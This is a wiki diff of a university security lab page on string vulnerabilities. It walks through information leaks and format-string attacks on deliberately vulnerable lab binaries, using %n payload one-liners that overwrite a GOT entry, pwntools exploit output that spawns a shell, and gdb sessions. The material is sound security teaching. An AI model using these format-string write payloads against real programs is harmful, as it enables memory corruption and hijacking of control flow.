This shows you the differences between two versions of the page.
cns:labs:lab-07 [2020/11/22 19:54] mihai.dumitru2201 [Extra: Format String Attack] |
cns:labs:lab-07 [2022/11/21 14:29] (current) mihai.dumitru2201 [Basic Format String Attack] |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== Lab 07 - Strings ====== | + | ====== Lab 07 - Strings ====== |
+ | |||
+ | ===== Tasks repository ==== | ||
+ | |||
+ | All content necessary for the CNS laboratory tasks can be found in [[cns:resources:repo|the CNS public repository]]. | ||
===== Intro ===== | ===== Intro ===== | ||
Line 33: | Line 37: | ||
We can test this using: | We can test this using: | ||
<code> | <code> | ||
- | $ python -c 'print("A"*32)' | ./basic_info_leak | + | $ python -c 'import sys; sys.stdout.buffer.write(b"A"*32)' | ./basic_info_leak |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8� | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8� | ||
</code> | </code> | ||
Line 39: | Line 43: | ||
In order to check the hexadecimal values of the leak, we pipe the output through ''xxd'': | In order to check the hexadecimal values of the leak, we pipe the output through ''xxd'': | ||
<code> | <code> | ||
- | $ python -c 'print("A"*32)' | ./basic_info_leak | xxd | + | $ python -c 'import sys; sys.stdout.buffer.write(b"A"*32)' | ./basic_info_leak | xxd |
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
Line 125: | Line 129: | ||
$ gdb -q ./info_leak | $ gdb -q ./info_leak | ||
Reading symbols from ./info_leak...done. | Reading symbols from ./info_leak...done. | ||
- | gdb-peda$ b printf | + | gdb-peda$ b my_main |
Breakpoint 1 at 0x400560 | Breakpoint 1 at 0x400560 | ||
gdb-peda$ r < <(python -c 'import sys; sys.stdout.write(32*"A")') | gdb-peda$ r < <(python -c 'import sys; sys.stdout.write(32*"A")') | ||
Starting program: info_leak < <(python -c 'import sys; sys.stdout.write(32*"A")') | Starting program: info_leak < <(python -c 'import sys; sys.stdout.write(32*"A")') | ||
[...] | [...] | ||
+ | |||
+ | # Do next instructions until after the call to printf. | ||
+ | gdb-peda$ ni | ||
+ | .... | ||
gdb-peda$ x/12g name | gdb-peda$ x/12g name | ||
Line 177: | Line 185: | ||
<note tip> | <note tip> | ||
- | Same as above, use ''nm'' to determine address of the ''my_evil_func()'' function. | + | Same as above, use ''nm'' to determine address of the ''my_evil_func()'' function. |
+ | When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:resources:repo|the CNS public repository]]. | ||
</note> | </note> | ||
Line 189: | Line 198: | ||
<note tip> | <note tip> | ||
- | In case of a successful exploit the program will return with the ''42'' error code in the ''my_evil_func()'' function, same as below: | + | In case of a successful exploit the program will spawn a shell in the ''my_evil_func()'' function, same as below: |
<code> | <code> | ||
$ python exploit.py | $ python exploit.py | ||
Line 196: | Line 205: | ||
[*] old_rbp is 0x7fffffffdd40 | [*] old_rbp is 0x7fffffffdd40 | ||
[*] return address is located at is 0x7fffffffdd38 | [*] return address is located at is 0x7fffffffdd38 | ||
- | [*] Process './info_leak' stopped with exit code 42 (pid 6422) | + | [*] Switching to interactive mode |
+ | Returning from main! | ||
+ | $ id | ||
+ | uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) | ||
</code> | </code> | ||
</note> | </note> | ||
Line 254: | Line 266: | ||
==== Basic Format String Attack ==== | ==== Basic Format String Attack ==== | ||
- | You will now do a basic format string attack using the ''basic-format-string/'' subfolder in the [[http://elf.cs.pub.ro/oss/res/labs/lab-07.tar.gz|lab archive]]. The source code is in ''basic_format_string.c'' and the executable is in ''basic_format_string''. | + | You will now do a basic format string attack using the ''03-basic-format-string/'' subfolder. The source code is in ''basic_format_string.c'' and the executable is in ''basic_format_string''. |
- | You need to use ''%n'' to overwrite the value of the ''v'' variable to ''200''. You have to do three steps: | + | You need to use ''%n'' to overwrite the value of the ''v'' variable to ''0x300''. You have to do three steps: |
- Determine the address of the ''v'' variable using ''nm''. | - Determine the address of the ''v'' variable using ''nm''. | ||
- Determine the ''n''-th parameter of ''printf()'' that you can write to using ''%n''. The ''buffer'' variable will have to be that parameter; you will store the address of the ''v'' variable in the ''buffer'' variable. | - Determine the ''n''-th parameter of ''printf()'' that you can write to using ''%n''. The ''buffer'' variable will have to be that parameter; you will store the address of the ''v'' variable in the ''buffer'' variable. | ||
- | - Construct a format string that enables the attack; the number of characters processed by ''printf()'' until ''%n'' is matched will have to be ''200''. | + | - Construct a format string that enables the attack; the number of characters processed by ''printf()'' until ''%n'' is matched will have to be ''0x300''. |
For the second step let's run the program multiple times and figure out where the ''buffer'' address starts. We fill ''buffer'' with the ''aaaa'' string and we expect to discover it using the ''printf()'' format specifiers. | For the second step let's run the program multiple times and figure out where the ''buffer'' address starts. We fill ''buffer'' with the ''aaaa'' string and we expect to discover it using the ''printf()'' format specifiers. | ||
Line 286: | Line 298: | ||
</code> | </code> | ||
- | We need that number to be ''200''. You can fine tune the format string by using a construct such as ''%32llx'' to print a number on ''32'' characters instead of a maximum of ''16'' characters. See how much extra room you need and see if you reach ''200'' bytes. | + | We need that number to be ''0x300''. You can fine tune the format string by using a construct such as ''%32llx'' to print a number on ''32'' characters instead of a maximum of ''16'' characters. See how much extra room you need and see if you reach ''0x300'' bytes. |
<note important> | <note important> | ||
Line 294: | Line 306: | ||
After the plan is complete, write down the attack by filling the ''TODO'' lines in the ''exploit.py'' solution skeleton. | After the plan is complete, write down the attack by filling the ''TODO'' lines in the ''exploit.py'' solution skeleton. | ||
- | After you write 200 chars in v, you should obtain shell | + | /* |
+ | <note tip> | ||
+ | When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:resources:repo|the CNS public repository]]. | ||
+ | </note> | ||
+ | */ | ||
+ | |||
+ | After you write 0x300 chars in v, you should obtain shell | ||
<code> | <code> | ||
- | $ python exploit64.py | + | $ python exploit.py |
[!] Could not find executable 'basic_format_string' in $PATH, using './basic_format_string' instead | [!] Could not find executable 'basic_format_string' in $PATH, using './basic_format_string' instead | ||
[+] Starting local process './basic_format_string': pid 20785 | [+] Starting local process './basic_format_string': pid 20785 | ||
Line 357: | Line 375: | ||
By trial and error or by using GDB (breakpoint on ''printf'') we can determine where the buffer starts | By trial and error or by using GDB (breakpoint on ''printf'') we can determine where the buffer starts | ||
<code bash> | <code bash> | ||
- | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"ABCD" + b"%08x\n " * 200)')" | grep -n 41 | head | + | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"ABCD" + b"%08x\n " * 0x300)')" | grep -n 41 | head |
10: ffffc410 | 10: ffffc410 | ||
52: ffffcc41 | 52: ffffcc41 | ||
Line 376: | Line 394: | ||
pad = b"ABCD" | pad = b"ABCD" | ||
val_fmt = b"%08x\n " | val_fmt = b"%08x\n " | ||
- | fmt = pad + val_fmt * stack_items | + | # add a \n at the end for consistency with the command line run |
+ | fmt = pad + val_fmt * stack_items + b"\n" | ||
io = process(["./format", fmt]) | io = process(["./format", fmt]) | ||
Line 450: | Line 469: | ||
Bingo. We have memory write. The vulnerable code tried to write at the address ''0x44434241'' ("ABCD" little endian) the value 1596. The value 1596 is the amount of data wrote so far by ''printf'' (''"ABCD" + 199 * "AAAAAAAA"''). | Bingo. We have memory write. The vulnerable code tried to write at the address ''0x44434241'' ("ABCD" little endian) the value 1596. The value 1596 is the amount of data wrote so far by ''printf'' (''"ABCD" + 199 * "AAAAAAAA"''). | ||
- | Right now, our input string has 1604 bytes. But we can further compress it, thus making the value that we write independent of the length of the input. | + | Right now, our input string has 1605 bytes (1604 with a ''\n'' at the end). But we can further compress it, thus making the value that we write independent of the length of the input. |
<code bash> | <code bash> | ||
Line 467: | Line 486: | ||
Remember, we want to write a value to a certain address. So far we control the address, but the value is somewhat limited. If we want to write 4 bytes at a time we can make use of the endianess of the machine. **The idea** is to write at the address n and then at the address n+1 and so on. | Remember, we want to write a value to a certain address. So far we control the address, but the value is somewhat limited. If we want to write 4 bytes at a time we can make use of the endianess of the machine. **The idea** is to write at the address n and then at the address n+1 and so on. | ||
- | Lets first display the address. We are using the address ''0x804c008''. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts. | + | Lets first display the address. We are using the address ''0x804c014''. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts. |
+ | |||
+ | Check the ''exploit.py'' script from the task directory, read the commends and understand what it does. | ||
<code bash> | <code bash> | ||
- | $ objdump -R ./format | grep puts | + | $ python exploit.py |
- | 0804a008 R_386_JUMP_SLOT puts | + | [*] 'format' |
- | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"\x08\xa0\x04\x08" + b"\x09\xa0\x04\x08" + b"\x0a\xa0\x04\x08" + b"\x0b\xa0\x04\x08" + b"A" * 498 + b"%255x|" + b"%126$08x" + b"%255x|" + b"%127$08x" + b"%255x|" + b"%128$08x")')" | + | Arch: i386-32-little |
+ | RELRO: Partial RELRO | ||
+ | Stack: No canary found | ||
+ | NX: NX enabled | ||
+ | PIE: No PIE (0x8048000) | ||
+ | [+] Starting local process './format': pid 29030 | ||
+ | [*] Switching to interactive mode | ||
+ | [*] Process './format' stopped with exit code 0 (pid 29030) | ||
+ | \x14\x04\x15\x04\x17\x04\x18\x04 804c014 804c015 804c017 804c018 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... | ||
+ | This is the most useless and insecure program! | ||
+ | </code> | ||
+ | The output starts with ''\x14\x04\x15\x04\x17\x04\x18\x04 804c014 804c015 804c017 804c018'' which is the 4 addresses we have written (raw, little endian) followed by the numerical prints done with ''%x'' of the same addresses. | ||
- | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... | + | If you have the same output it means that now, if you replace ''%x'' with ''%n'' (change ''fmt = write_fmt'' in the script) it will try to write something at those valid addresses. |
- | 0|0804a008 | + | |
- | f7e2a4d3|0804a009 | + | |
- | 2|0804a00a | + | |
- | ffffd2c4|0804a00b | + | |
- | This is the most useless and insecure program! | + | |
+ | We want to put the value ''0x080491a6''. | ||
+ | <code bash> | ||
+ | $ objdump -d ./format | grep my_evil | ||
+ | 080491a6 <my_evil_func>: | ||
</code> | </code> | ||
- | Why are we printing 498 ''A''s? We added 12 bytes before our format and 6 extra bytes for the output -- the ''|'' is there only for pretty print. We want to keep in place the first argument -- anyway, you should always check this. | + | <note important> |
+ | As ''%n'' writes how many characters have been printed until it is reached, each ''%n'' will print an incrementally larger value. | ||
+ | We use the 4 adjacent adressess to write byte by byte and use overflows to reach a lower value for the next byte. | ||
+ | For example, after writing ''0xa6'' we can write ''0x0191'': | ||
- | Lets replace the ''%x'' with ''%n'' | + | {{cns:labs:bytes_write.png?500}} |
- | <code bash> | + | |
- | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"\x08\xa0\x04\x08" + b"\x09\xa0\x04\x08" + b"\x0a\xa0\x04\x08" + b"\x0b\xa0\x04\x08" + b"A" * 498 + b"%255x|" + b"%126$08n" + b"%255x|" + b"%127$08n" + b"%255x|" + b"%128$08n" + b"%255x|" + b"%129$08n")')" | + | |
- | $ gdb ./format -c core | + | |
- | Program terminated with signal 11, Segmentation fault. | + | |
- | #0 0x02020202 in ?? () | + | |
- | (gdb) x/x 0x0804a000 | + | |
- | 0x804a000 <printf@got.plt>: 0xf7e5ded0 | + | |
- | (gdb) x/x 0x0804a004 | + | |
- | 0x804a004 <fwrite@got.plt>: 0x08048396 | + | |
- | (gdb) x/x 0x0804a008 | + | |
- | 0x804a008 <puts@got.plt>: 0x02020202 | + | |
- | (gdb) x/x 0x0804a00c | + | |
- | 0x804a00c <__gmon_start__@got.plt>: 0x08000006 | + | |
- | (gdb) | + | |
- | </code> | + | |
- | In the gdb session above you can see: | + | Also, the ''%n'' count doesn't reset so, if we want to write ''0xa6'' and then ''0x91'' the payload should be in the form of: |
- | - the got entry for printf points to a library address (the address starts with 0xf) | + | |
- | - the got entry for fwrite points to some code inside the binary. This means that the function wasn't yet called, the loader didn't load this address yet. | + | |
- | - the puts entry points to 0x02020202. This is the value that we wrote. | + | |
- | **How come we wrote the first ''0x02''?** | + | ''<0xa6 bytes>%n<0x100 - 0xa6 + 0x91 bytes>%n'' |
- | Just before executing the first ''%n'' the vulnerable code printed 770 (4*4+498+256) bytes and hex(770) == 0x302. | + | |
- | **How come the rest of the bytes are ''0x02''?** | + | As mentionet earlier above, instead writing N bytes ''"A" * N'' you can use other format strings like ''%Nc'' or ''%Nx'' to keep the payload shorter. |
- | After executing the first ''%n'' we printed another 256 bytes before each ''%n'' so we actually wrote 0x402, 0x502 and 0x602. You can see that the last three bytes ''%%__gmon_start__@got.plt%%'' are ''0x000006''. | + | </note> |
- | + | ||
- | We want to put the value ''0x08048494''. | + | |
- | <code bash> | + | |
- | $ objdump -d ./format | grep my_evil | + | |
- | 08048494 <my_evil_func>: | + | |
- | </code> | + | |
- | The first byte is ''0x94'' (little endian), recall that we were able to write ''0x02'', writing ''0x94'' means replacing first 255 with 255-(0x102-0x94) == 145. | + | |
- | <code bash> | + | |
- | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"\x08\xa0\x04\x08" + b"\x09\xa0\x04\x08" + b"\x0a\xa0\x04\x08" + b"\x0b\xa0\x04\x08" + b"A" * 498 + b"%145x|" + b"%126$08n" + b"%255x|" + b"%127$08n" + b"%255x|" + b"%128$08n" + b"%255x|" + b"%129$08n")')" | + | |
- | $ gdb ./format -c core | + | |
- | #0 0x94949494 in ?? () | + | |
- | (gdb) quit | + | |
- | </code> | + | |
- | The next byte that we want to write is ''0x84'' so we need to replace 255 with 235. We can continue this idea until we profit. | + | |
- | <code bash> | + | |
- | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"\x08\xa0\x04\x08" + b"\x09\xa0\x04\x08" + b"\x0a\xa0\x04\x08" + b"\x0b\xa0\x04\x08" + b"A" * 498 + b"%145x|" + b"%126$08n" + b"%239x|" + b"%127$08n" + b"%127x|" + b"%128$08n" + b"%259x|" + b"%129$08n")')" | tr -s ' ' > /dev/null | + | |
- | I'm evil, but nobody calls me :-( | + | |
- | </code> | + | |
**[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled). | **[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled). |